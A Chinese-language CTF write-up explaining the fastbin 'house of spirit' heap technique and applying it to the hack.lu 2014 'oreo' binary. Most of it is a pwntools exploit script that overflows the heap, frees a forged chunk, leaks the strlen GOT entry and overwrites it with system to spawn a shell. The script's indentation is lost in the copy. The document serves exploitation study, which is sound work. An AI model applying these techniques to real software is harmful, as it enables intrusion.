pwn-house of spirit

fastbin-attack之house of spirit

fastbin attack的攻击方式:

  1. 直接free某个地址,可以是bss,heap,stack等,但需要伪造已经分配堆内存时的内存布局即可,即house of spirit(与其相连的nextchunk->size同样需要伪造)。
  2. 先malloc一个满足fastbin大小的chunk,free掉,修改掉其fd前向指针,指向我们想要分配的任意地址(同样需要伪造所在fastbin链中的chunk内存分布),两次malloc之后,第二个chunk即指向任意地址。

2014 hack.lu oreo

利用思路:添加枪支的函数中存在heap overflow,申请的chunk大小属于fastbin范围,可以利用show_rifle函数泄露got表地址,也可以使用show_stats函数泄露got表地址,house of spirit技术对应free的地址为0x0804A2A8,从而可以写got表,最后getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

p = process('./oreo')
#gdb.attach(p)
libc = ELF('./libc.so.6')
strlen_offset = libc.symbols['strlen']
system_offset = libc.symbols['system']

def add_rifle(rifle_name,rifle_description):
#p.recvuntil("Action: ")
p.sendline("1")
#p.recvuntil("Rifle name: ")
p.sendline(rifle_name)
#p.recvuntil("Rifle description: ")
p.sendline(rifle_description)

def show_rifle():
p.recvuntil("Action: ")
p.sendline("2")


def free_rifle():
#p.recvuntil("Action: ")
p.sendline("3")

def leave_message(message):
#p.recvuntil("Action: ")
p.sendline("4")
#p.recvuntil("Enter any notice you'd like to submit with your order: ")
p.sendline(message)

def show_stats():
p.recvuntil("Action: ")
p.sendline("5")

for i in range(0x40):
add_rifle(str(i+1),str(i+1))


house_of_spirit = 27 * 'A' + p32(0x0804A2A8)

#p.recvuntil("Action: ")
p.sendline("1")
#p.recvuntil("Rifle name: ")
p.sendline(house_of_spirit)
#p.recvuntil("Rifle description: ")
p.sendline(25 * 'A')

message = 28 * 'B' + p32(0) + p32(0) + p32(0x41)
leave_message(message)

free_rifle()

#p.recvuntil("Action: ")
p.sendline("1")
#p.recvuntil("Rifle name: ")
p.sendline(str(0x1))
#p.recvuntil("Rifle description: ")
p.sendline(p32(0x0804A250))

# leak got of strlen
#p.recvuntil("Action: ")
p.sendline("5")
p.recvuntil("Order Message: ")
strlen_addr = u32(p.recvuntil('\n',drop=True)[:4])
print "strlen_addr:",hex(strlen_addr)
libc_base_addr = strlen_addr - 0x7E440
system_addr = libc_base_addr + system_offset

print "libc_base_addr:",hex(libc_base_addr)
print "system_addr:",hex(system_addr)

message = p32(system_addr) + ";/bin/sh\x00"
leave_message(message)

#p.recvuntil("Action: ")
#p.sendline("1")
#p.recvuntil("Rifle name: ")
#p.sendline('A')
#p.recvuntil("Rifle description: ")
#p.sendline("/bin/sh")

# get shell
#free_rifle()

p.interactive()

利用方法是直接house of spirit,写strlen的got表地址,直接泄露其地址,然后覆盖,最后调用strlen函数获得shell。
程序泄露的strlen函数地址指向了libc中偏移为0x7E440的一个函数,而不是libc.symbols[‘strlen’]获得的偏移,好诡异。
一开始打算使用free函数来获得shell,但是由于输入fgets的限制,如果覆盖free的got表,就会影响到fgets函数的最低位,从而无法申请新的chunk,所以选择覆盖strlen的got表。